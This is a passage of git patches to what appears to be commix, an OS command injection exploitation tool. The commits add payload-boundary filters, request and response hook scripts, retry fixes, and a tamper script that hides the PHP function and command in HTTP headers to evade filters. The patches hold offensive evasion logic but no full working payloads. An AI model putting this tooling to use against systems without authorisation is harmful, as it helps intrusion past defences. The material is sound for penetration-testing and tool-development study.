carriage return, which nobody is going to put on a command line as themselves. + label = boundary + settings.SINGLE_WHITESPACE + whitespace + label += settings.SINGLE_WHITESPACE + _urllib.parse.quote(boundary, safe="") + label += settings.SINGLE_WHITESPACE + _urllib.parse.quote(whitespace, safe="") + if settings.TEST_FILTER is not None and not any(pattern.search(label) for pattern in settings.TEST_FILTER): + return False + if settings.TEST_SKIP is not None and any(pattern.search(label) for pattern in settings.TEST_SKIP): + return False + return True + """ Resolve '--type' into the techniques that show a result that way. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index dd2141025c..fc3545647d 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1616,6 +1616,16 @@ def do_check(url, http_request_method, filename): untested = checks.untested_techniques() if untested: err_msg += " That would also test the " + untested + "." + # A selection that leaves few boundaries, or none, is not something a target did - and what + # was never sent cannot have been answered. + if menu.options.test_filter or menu.options.test_skip: + err_msg += " Only the payload boundaries " + if menu.options.test_filter: + err_msg += "matching '" + str(menu.options.test_filter) + "'" + err_msg += " and " if menu.options.test_skip else "" + if menu.options.test_skip: + err_msg += "not matching '" + str(menu.options.test_skip) + "'" + err_msg += " were sent, so this says nothing about the ones that were not." # A client forced with '--oob-transport' that the target does not have answers nothing, which # is the same silence a parameter that is not injectable produces. if menu.options.oob_transport and settings.OOB_CHANNEL is not None and settings.OOB_STATE is not True: @@ -1658,6 +1668,11 @@ def do_check(url, http_request_method, filename): err_msg += " Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.MULTI_TARGETS: + # What the run produced is written even where it found nothing: the traffic it sent and the + # report of it are the output of a run that came up empty just as much as of one that did not, + # and a run that found nothing is the one whose traffic is worth reading. + checks.finish_target() + logs.print_logs_notification(filename, url) common.show_http_error_codes() raise SystemExit(settings.EXIT_FAILURE) elif settings.MULTI_TARGETS: diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index e39846b37c..31b37ff8cd 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -76,6 +76,10 @@ def _boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_out if boundary in tried: continue tried.add(boundary) + # Asked of every boundary rather than of the technique as a whole, which is the point of + # the two options: '--technique' already chooses between techniques. + if not checks.test_selected(whitespace, effective, suffix, separator): + continue yield whitespace, prefix, suffix, separator """ diff --git a/src/core/main.py b/src/core/main.py index 662458d906..f3857ac7a1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -847,6 +847,7 @@ def run(): # to be probed over. checks.validate_tamper_scripts() checks.validate_modules() + checks.validate_test_selection() checks.apply_injection_type() checks.validate_techniques() checks.validate_options() diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 5cbda25d7e..495f5ab67f 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -753,6 +753,18 @@ def banner(): dest="skip_tech", help="Specify injection technique(s) to skip.") +injection.add_option("--test-filter", + action="store", + dest="test_filter", + default=None, + help="Test only the given payload boundaries (e.g. ';').") + +injection.add_option("--test-skip", + action="store", + dest="test_skip", + default=None, + help="Skip the given payload boundaries (e.g. '%0a').") + injection.add_option("--oob", action="store_true", dest="oob", diff --git a/src/utils/settings.py b/src/utils/settings.py index eb444c2722..4b4b94a909 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "163" +REVISION = "164" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2104,6 +2104,16 @@ class END_LINE: Gathered per target and written when it is finished with, so that one row stands for a parameter rather than for each technique that answered through it. """ +""" +What '--test-filter' and '--test-skip' were given, compiled once. + +Kept here rather than read from the option each time, because what the option holds is what the user +typed and what a boundary is measured against is a pattern - working that out per combination, over +every technique, is the same answer arrived at thousands of times. +""" +TEST_FILTER = None +TEST_SKIP = None + RESULTS_FILE_ROWS = {} # What the file is called where a run over several targets was not given a name for it. @@ -2410,7 +2420,7 @@ class END_LINE: "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", - "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", + "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. From 89490021d731a6027508d3a3aad0058022ee6c02 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 25 Sep 2026 06:55:52 +0300 Subject: [PATCH 0830/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 12 +++++------- src/core/controller/handler.py | 22 +++++++++++++++++++++- src/utils/settings.py | 2 +- 3 files changed, 27 insertions(+), 9 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index e495a0c298..1096703774 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1642,7 +1642,7 @@ def target_fingerprint_summary(): settings.print_info_msg("Fetching the target environment.") ) if technology: - settings.print_data_to_stdout(settings.print_retrieved_data("Web application technology", ", ".join(technology))) + settings.print_data_to_stdout(settings.print_retrieved_data("web application technology", ", ".join(technology))) if shell_identified: settings.print_data_to_stdout(settings.print_retrieved_data("command shell", target_shell_label())) @@ -4124,7 +4124,7 @@ def print_passes_msg(self): # Not a fetch: the command is the user's own, and it is named rather than described. def print_single_os_cmd_msg(self, cmd): - info_msg = "Executing user-supplied command '" + cmd + "'." + info_msg = "Executing operating system command: '" + cmd + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ @@ -5203,11 +5203,9 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met from src.core.techniques.tempfile_based import tfb_handler path = tmp_path setting_writable_dir(path) - call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - if call_tfb is False: - info_msg = "Resuming the " + settings.INJECTION_TECHNIQUE.FILE_BASED + " tests." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - return call_tfb + # Nothing said where it hands back: the sweep that carries on announces itself as it continues, + # and saying so twice over reads as two techniques where there is one. + return tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) else: settings.print_data_to_stdout(settings.END_LINE.CR) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 31b37ff8cd..13bb2f1e2c 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -128,6 +128,14 @@ def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): def _announce_technique(injection_type, technique): settings.CURRENT_TECHNIQUE = technique checks.tamper_scripts(stored_tamper_scripts=True) + """ + Where a file-based technique writes, and under what name, is settled before it sends anything - + and those questions would come between the title and the first probe, leaving a line that says + "please wait" with a prompt under it. So the title is left to that first probe, which is past + them, and the technique announces itself once. + """ + if settings.VERBOSITY_LEVEL == 0 and technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + return checks.testing_technique_title(injection_type, technique) """ @@ -160,7 +168,19 @@ def _register_os_shell_entry(action, time_related_attack=None): def exit_handler(no_result): if no_result: if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None: - if not settings.RESPONSE_DELAYS: + """ + Every combination tried without one is the technique finished, so it is closed the way a + technique that found something closes: a parameter that answers nothing would otherwise + leave each of its techniques hanging on the dots it got to. + """ + if settings.PROGRESS_LINE_OPEN: + settings.RESPONSE_DELAYS = False + # Unless what ran out of combinations is the '/tmp/' attempt, which hands the sweep back + # rather than ending it: its line is left open for the boundaries the sweep returns to, so + # the one technique is announced once and closed once, however many directories it took. + if not settings.TEMPFILE_BASED_STATE: + settings.print_data_to_stdout(" (done)") + elif not settings.RESPONSE_DELAYS: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: settings.RESPONSE_DELAYS = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 4b4b94a909..aa6fbc07f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "164" +REVISION = "165" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2c8e48e7e3fc7a7e9149940b4179caf7c2cd3644 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 26 Sep 2026 08:09:32 +0300 Subject: [PATCH 0831/1023] Added new options `--preprocess` and `--postprocess` for reshaping a request before it is sent and a response before the run reads it, which a tamper script cannot reach --- doc/CHANGELOG.md | 1 + src/core/main.py | 2 + src/core/parse/cmdline.py | 12 +++ src/core/requests/headers.py | 14 ++++ src/core/requests/hooks.py | 137 +++++++++++++++++++++++++++++++++++ src/utils/settings.py | 12 ++- 6 files changed, 177 insertions(+), 1 deletion(-) create mode 100644 src/core/requests/hooks.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 586d042861..ae10f86ac3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New options `--preprocess` and `--postprocess` for reshaping a request before it is sent and a response before the run reads it, which a tamper script cannot reach. * Added: New options `--test-filter` and `--test-skip` for choosing which payload boundaries a technique is tried with. * Added: New options `--save` and `-c` for keeping the options a run was given in a configuration file, and running from one. * Added: New option `--har` for logging the run's HTTP traffic in the archive format proxies and browsers read. diff --git a/src/core/main.py b/src/core/main.py index f3857ac7a1..96715a148b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -39,6 +39,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import redirection +from src.core.requests import hooks from src.core.controller import checks from src.core.parse import request as parser from src.core.controller import controller @@ -846,6 +847,7 @@ def run(): # Before the target is touched: a mistyped option is the user's to correct, not the target's # to be probed over. checks.validate_tamper_scripts() + hooks.load_scripts() checks.validate_modules() checks.validate_test_selection() checks.apply_injection_type() diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 495f5ab67f..23e7ad2709 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -469,6 +469,18 @@ def banner(): default=None, help="Retry request on regexp matching content (e.g. 'drop').") +request.add_option("--preprocess", + action="store", + dest="preprocess", + default=None, + help="Use given script(s) for preprocessing (request).") + +request.add_option("--postprocess", + action="store", + dest="postprocess", + default=None, + help="Use given script(s) for postprocessing (response).") + request.add_option("--safe-url", action="store", dest="safe_url", diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 04d1f81ae3..ff46c07260 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -35,6 +35,7 @@ from src.core.requests import redirection from src.core.requests import keepalive from src.core.requests import stability +from src.core.requests import hooks from src.thirdparty.six.moves import urllib as _urllib """ @@ -304,6 +305,7 @@ def apply_request_policy(): def send_raw(request, timeout=None, policy=True): if policy: apply_request_policy() + hooks.preprocess(request) with settings.REQUESTS_LOCK: settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 return _urllib.request.urlopen(request, timeout=timeout or settings.TIMEOUT) @@ -413,6 +415,9 @@ def https_open(self, req): proxy.apply_to_request(request) opener = _urllib.request.build_opener(connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) + # Last, so what a script is handed is the request as commix would otherwise have sent it. + hooks.preprocess(request) + # Time limit mechanism. if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): raise SystemExit() @@ -496,6 +501,11 @@ def https_open(self, req): code = response.getcode() response_headers = response.info() page = checks.process_page_content(response, action="encode") + # Before anything reads the answer, so what a script hands back is what the run works from - + # the page every check below compares, and the body every caller of this response reads. + if settings.POSTPROCESS_FUNCTIONS: + page, response_headers, code = hooks.postprocess(page, response_headers, code) + response.read = (lambda _b: lambda *a, **kw: _b)(page.encode(settings.DEFAULT_CODEC, errors="replace")) response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip(settings.END_LINE.LF) # Handle server-set cookies. @@ -526,6 +536,10 @@ def https_open(self, req): page = '' response_headers = err.info() code = err.code + # An error code is an answer too, and the envelope a script is there to unwrap is no less + # likely to arrive with one. + if settings.POSTPROCESS_FUNCTIONS: + page, response_headers, code = hooks.postprocess(page, response_headers, code) print_http_response(response_headers, code, page) # WAF/CAPTCHA/block pages are usually served as error codes - check the body here too. checks.captcha_check(page) diff --git a/src/core/requests/hooks.py b/src/core/requests/hooks.py new file mode 100644 index 0000000000..47713fd58e --- /dev/null +++ b/src/core/requests/hooks.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re + +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import http_client as _http_client + +""" +Scripts handed the whole request on its way out, and the whole answer on its way back. + +A tamper script is handed the payload and hands one back, which is the right shape for what is done +to a payload and the wrong one for everything done around it. What is left over is the work that +belongs to the request rather than to what is being injected: signing it again once its body has +changed, recomputing a checksum header over it, or unwrapping the envelope an answer arrives in so +that what commix reads is the answer rather than the wrapper. +""" + +""" +Load the scripts an option names, and hand back the functions they define. +""" +def _load(option, kind): + functions = [] + if not option: + return functions + for path in (item.strip() for item in re.split(settings.PARAMETER_SPLITTING_REGEX, option) if item.strip()): + if not path.endswith(".py"): + err_msg = "The " + kind + " script '" + path + "' should have a '.py' extension." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if not os.path.isfile(path): + err_msg = "The " + kind + " script '" + path + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + namespace = {} + try: + with open(path) as script_file: + exec(compile(script_file.read(), path, "exec"), namespace) + except Exception as err_msg: + error_msg = "Unable to load the " + kind + " script '" + path + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if not callable(namespace.get(kind)): + err_msg = "The " + kind + " script '" + path + "' does not define a '" + kind + "()' function." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + functions.append((os.path.basename(path), namespace[kind])) + return functions + +""" +Read what '--preprocess' and '--postprocess' were given, before the target is touched. + +For the same reason the tamper scripts are read there: a script that does not exist, or does not +define what it has to, is the user's to correct rather than something to find out mid-run. +""" +def load_scripts(): + settings.PREPROCESS_FUNCTIONS = _load(menu.options.preprocess, "preprocess") + settings.POSTPROCESS_FUNCTIONS = _load(menu.options.postprocess, "postprocess") + if settings.VERBOSITY_LEVEL != 0: + for name, _ in settings.PREPROCESS_FUNCTIONS + settings.POSTPROCESS_FUNCTIONS: + debug_msg = "Loaded the hook script '" + name + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +Report a script that raised, naming it rather than the line it died on. +""" +def _failed(kind, name, err_msg): + error_msg = "The " + kind + " script '" + name + "' raised an unhandled error (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Hand the request to every '--preprocess' script, in the order they were given. + +The request itself is passed rather than a copy of its parts, so that a script can change the URL, +the body and the headers together - which is what signing one again amounts to. +""" +def preprocess(request): + for name, function in settings.PREPROCESS_FUNCTIONS: + try: + function(request) + except Exception as err_msg: + _failed("preprocess", name, err_msg) + return request + +""" +Headers as the rest of the run expects them, whatever a script handed back. + +A script is free to return a plain dictionary - it is the obvious thing to return - and what reads +them afterwards wants something that renders as headers rather than as a dictionary. +""" +def _as_headers(response_headers): + if response_headers is None or hasattr(response_headers, "get_content_charset"): + return response_headers + if isinstance(response_headers, dict): + message = _http_client.HTTPMessage() + for key, value in response_headers.items(): + message[str(key)] = str(value) + return message + return response_headers + +""" +Hand the answer to every '--postprocess' script, and keep what the last of them returns. + +What comes back is what the rest of the run reads - the detection, the comparisons and the extracted +output all - so an answer unwrapped here is unwrapped everywhere, rather than only where it is shown. +""" +def postprocess(page, response_headers, code): + for name, function in settings.POSTPROCESS_FUNCTIONS: + try: + page, response_headers, code = function(page, response_headers, code) + except Exception as err_msg: + _failed("postprocess", name, err_msg) + response_headers = _as_headers(response_headers) + if isinstance(page, bytes): + page = page.decode(settings.DEFAULT_CODEC, errors="replace") + return page, response_headers, code + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index aa6fbc07f1..e208258207 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "165" +REVISION = "166" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2114,6 +2114,15 @@ class END_LINE: TEST_FILTER = None TEST_SKIP = None +""" +The functions '--preprocess' and '--postprocess' were given, loaded once. + +Held as functions rather than as the paths they came from, because a script is read and checked +before the first target is touched and then called for every request the run makes. +""" +PREPROCESS_FUNCTIONS = [] +POSTPROCESS_FUNCTIONS = [] + RESULTS_FILE_ROWS = {} # What the file is called where a run over several targets was not given a name for it. @@ -2421,6 +2430,7 @@ class END_LINE: "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", + "PREPROCESS_FUNCTIONS", "POSTPROCESS_FUNCTIONS", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. From a1f30812b5620feabe9e6363d49962180bfb2cfc Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 26 Sep 2026 09:46:59 +0300 Subject: [PATCH 0832/1023] Added new tamper script `phpserverheaders.py` that moves the function and the command out of the payload and into HTTP headers it reads back through `$_SERVER` --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 6 +- src/core/controller/controller.py | 2 +- src/core/parse/cmdline.py | 2 +- src/core/requests/headers.py | 47 +++++++++- src/core/requests/requests.py | 34 +++++-- src/tamper/phpserverheaders.py | 149 ++++++++++++++++++++++++++++++ src/utils/har.py | 8 +- src/utils/settings.py | 15 ++- 9 files changed, 250 insertions(+), 14 deletions(-) create mode 100644 src/tamper/phpserverheaders.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ae10f86ac3..7b1d06e1c6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `phpserverheaders.py` that moves the function and the command out of the payload and into HTTP headers it reads back through `$_SERVER`. * Added: New options `--preprocess` and `--postprocess` for reshaping a request before it is sent and a response before the run reads it, which a tamper script cannot reach. * Added: New options `--test-filter` and `--test-skip` for choosing which payload boundaries a technique is tried with. * Added: New options `--save` and `-c` for keeping the options a run was given in a configuration file, and running from one. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 1096703774..f419148e12 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -233,7 +233,11 @@ def process_custom_injection_data(data): lines.append(line) # Remove duplicates, then rejoin lines - data = settings.END_LINE.ESCAPED_LF.join(list(dict.fromkeys(lines))).rstrip(settings.END_LINE.ESCAPED_LF) + # Taken off as the sequence it is, not as the set of characters it is written with: rstrip() + # reads its argument as a set, so a value ending in 'n' or a backslash lost them here. + data = settings.END_LINE.ESCAPED_LF.join(list(dict.fromkeys(lines))) + while data.endswith(settings.END_LINE.ESCAPED_LF): + data = data[:-len(settings.END_LINE.ESCAPED_LF)] return data diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index fc3545647d..2df1cae6f2 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1634,7 +1634,7 @@ def do_check(url, http_request_method, filename): # A shell that complained about what it was given did run it, so what is missing is the way # the payload was put together rather than a way in. if settings.SHELL_ERROR_SEEN: - err_msg += " The target answered with shell errors while being tested, so the payload did reach a shell" + err_msg += " The target answered with shell or interpreter errors while being tested, so the payload did reach one" if not menu.options.parse_errors: err_msg += " - the '--parse-errors' option shows what it said" err_msg += "." diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 23e7ad2709..388c9279d2 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -183,7 +183,7 @@ def banner(): action="store_true", dest="parse_errors", default=False, - help="Parse and display shell error messages from responses.") + help="Parse and display shell/interpreter errors from responses.") general.add_option("--results-file", action="store", diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ff46c07260..44b2537478 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -45,6 +45,12 @@ the target reads is unchanged and a query of ordinary length is encoded exactly as it would be. """ def encoded_query(query): + # Asked for by '--skip-urlencode': the payload was deliberately left as written, and encoding the + # query it sits in puts back exactly what that option took off. Only what a request cannot carry + # as itself is still encoded - a space, a control character, anything outside ASCII - since that + # is about the request being valid rather than about the payload being recognisable. + if menu.options.skip_urlencode: + return _urllib.parse.quote(query, safe=settings.SKIP_URLENCODE_SAFE_CHARS) safe = settings.query_safe_chars() + settings.URL_PARAM_DELIMITER given_back = 0 while True: @@ -308,7 +314,29 @@ def send_raw(request, timeout=None, policy=True): hooks.preprocess(request) with settings.REQUESTS_LOCK: settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 - return _urllib.request.urlopen(request, timeout=timeout or settings.TIMEOUT) + response = _urllib.request.urlopen(request, timeout=timeout or settings.TIMEOUT) + # Spent from the count the retry budget is measured against, so the budget is grown with it. + with settings.REQUESTS_LOCK: + stability.expand_retry_budget() + return response + +""" +Never let the client frame a body commix has already framed. + +'--chunked' writes the chunks itself, in sizes chosen to cut through what a filter looks for, and +the header that says so is what makes the client offer to do the same - so a body sent through any +path that does not go by the connection class below arrives wrapped in a second layer of framing. +The server unwraps one and hands the other to the application as the body, which then reads the +chunk sizes as though they were the value. +""" +_original_request = _http_client.HTTPConnection.request + +def _request_without_reframing(self, method, url, body=None, headers={}, **kwargs): + if menu.options.chunked: + kwargs["encode_chunked"] = False + return _original_request(self, method, url, body, headers, **kwargs) + +_http_client.HTTPConnection.request = _request_without_reframing """ Checking the HTTP Headers & HTTP/S Request. @@ -563,6 +591,12 @@ def https_open(self, req): settings.HTTP_ERROR_CODES_SUM.append(err.code) # Nothing is returned for it, so this is what tells a caller the request did reach the target. settings.LAST_HTTP_ERROR = err + # Except where the run was told to ignore this code: then it is the target's answer rather + # than a failure, and the body of it is where the result of a payload would be. Read back + # from what was already taken off it, since the body itself is only readable once. + if checks.ignored_http_error_code(err.code): + err.read = (lambda _b: lambda *a, **kw: _b)(page.encode(settings.DEFAULT_CODEC, errors="replace")) + return err if settings.VERBOSITY_LEVEL >= 2: parts = str(err).split(": ") if len(parts) > 1 and len(parts[1]) == 0: @@ -610,7 +644,10 @@ def https_open(self, req): """ def resend(request): error = settings.LAST_HTTP_ERROR - if error is not None and str(getattr(error, "code", "")) not in settings.TRANSIENT_HTTP_ERROR_CODES: + # A code the run was told to ignore is an answer, not a failure to retry past - repeated until the + # retries run out, a target that always answers with one is reported as unreachable instead. + if error is not None and (checks.ignored_http_error_code(getattr(error, "code", None)) or + str(getattr(error, "code", "")) not in settings.TRANSIENT_HTTP_ERROR_CODES): raise error # A long enough delay can push the target into erroring out, and that error arrives at the delay asked for - which is the measurement, so repeating it only pays the delay twice. if error is not None and settings.TIME_RELATED_ATTACK: @@ -689,6 +726,12 @@ def do_check(request): from src.tamper import xforwardedfor xforwardedfor.tamper(request) + # Carries the two halves the payload reads back through '$_SERVER' - drawn with it, so the names + # in the payload and the headers on this request are the same pair. + if settings.TAMPER_SCRIPTS["phpserverheaders"]: + from src.tamper import phpserverheaders + phpserverheaders.apply_headers(request) + # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index cc18566390..4e5a373959 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -75,12 +75,21 @@ def _build_request(): headers.do_check(request) return request + # Retried here too: what differs between the samples is set aside as the page moving on its own. + def _sample(request=None, response=None): + if request is None: + request = _build_request() + if response is None: + response = headers.send_raw(request) + return with_retry_on(request, response) + try: if response is not None: + response = _sample(response=response) raw_body = capture_original_page(response) first_response_content = raw_body.strip() else: - first_response = headers.send_raw(_build_request()) + first_response = _sample() try: raw_body = first_response.read() first_response_content = raw_body.strip() @@ -95,7 +104,7 @@ def _build_request(): if remaining: time.sleep(remaining) - second_response = headers.send_raw(_build_request()) + second_response = _sample() try: raw_second_body = second_response.read() second_response_content = raw_second_body.strip() @@ -166,6 +175,7 @@ def crawler_request(url, http_request_method): response = headers.check_http_traffic(request) if response is None: response = headers.resend(request) + response = with_retry_on(request, response) if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: href = redirection.do_check(url, response.geturl()) @@ -727,6 +737,11 @@ def retry_on_undesired_content(request, response): # raising as requests are spent: a page that always asks to be retried would otherwise be # asked again for as long as the run lasts. if not re.search(menu.options.retry_on, content, re.I) or attempts >= menu.options.retries: + # Nothing left to retry with, so this page is what everything downstream reads as the answer. + if attempts and not settings.RETRY_ON_EXHAUSTED and re.search(menu.options.retry_on, content, re.I): + settings.RETRY_ON_EXHAUSTED = True + warn_msg = "The target still answers with a page matching '" + menu.options.retry_on + "', after the retries were spent." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return ReReadableResponse(response, body) attempts += 1 warn_msg = "Forced retry of the request, because of undesired page content." @@ -741,6 +756,14 @@ def retry_on_undesired_content(request, response): return ReReadableResponse(response, body) response = retried +""" +The answer, retried while it says what '--retry-on' names - whichever path the request went out over. +""" +def with_retry_on(request, response): + if menu.options.retry_on and response is not None and not isinstance(response, bool): + return retry_on_undesired_content(request, response) + return response + def get_request_response(request): response = headers.check_http_traffic(request) @@ -750,10 +773,7 @@ def get_request_response(request): except Exception as err_msg: response = request_failed(err_msg) - if menu.options.retry_on and response is not None and not isinstance(response, bool): - response = retry_on_undesired_content(request, response) - - return response + return with_retry_on(request, response) """ The page a second-order injection shows up on, which is not the page the payload was sent to. @@ -887,7 +907,7 @@ def inject_header(url, payload, http_request_method): payload = checks.normalize_newlines(payload) set_header(request, payload) try: - return headers.send_request(request) + return with_retry_on(request, headers.send_request(request)) except ValueError: pass diff --git a/src/tamper/phpserverheaders.py b/src/tamper/phpserverheaders.py new file mode 100644 index 0000000000..cb6f73da78 --- /dev/null +++ b/src/tamper/phpserverheaders.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +import threading + +from src.utils import settings +from src.core.controller import checks + +r""" +About: Moves the function and the command out of the payload and into HTTP headers it reads back through '$_SERVER'. +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +""" + +__tamper__ = "phpserverheaders" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or \ + checks.tamper_dep_grammar_only(__tamper__, "php") or \ + _time_related_incompatible() + +""" +Why this script cannot serve a technique that reads a value back rather than a page. + +What it leaves in the payload is an interpolation, and an interpolation is worth a variable name - +so the command runs and prints, and the expression around it is left holding nothing. A technique +that only shows the page gets everything it needs from that; one 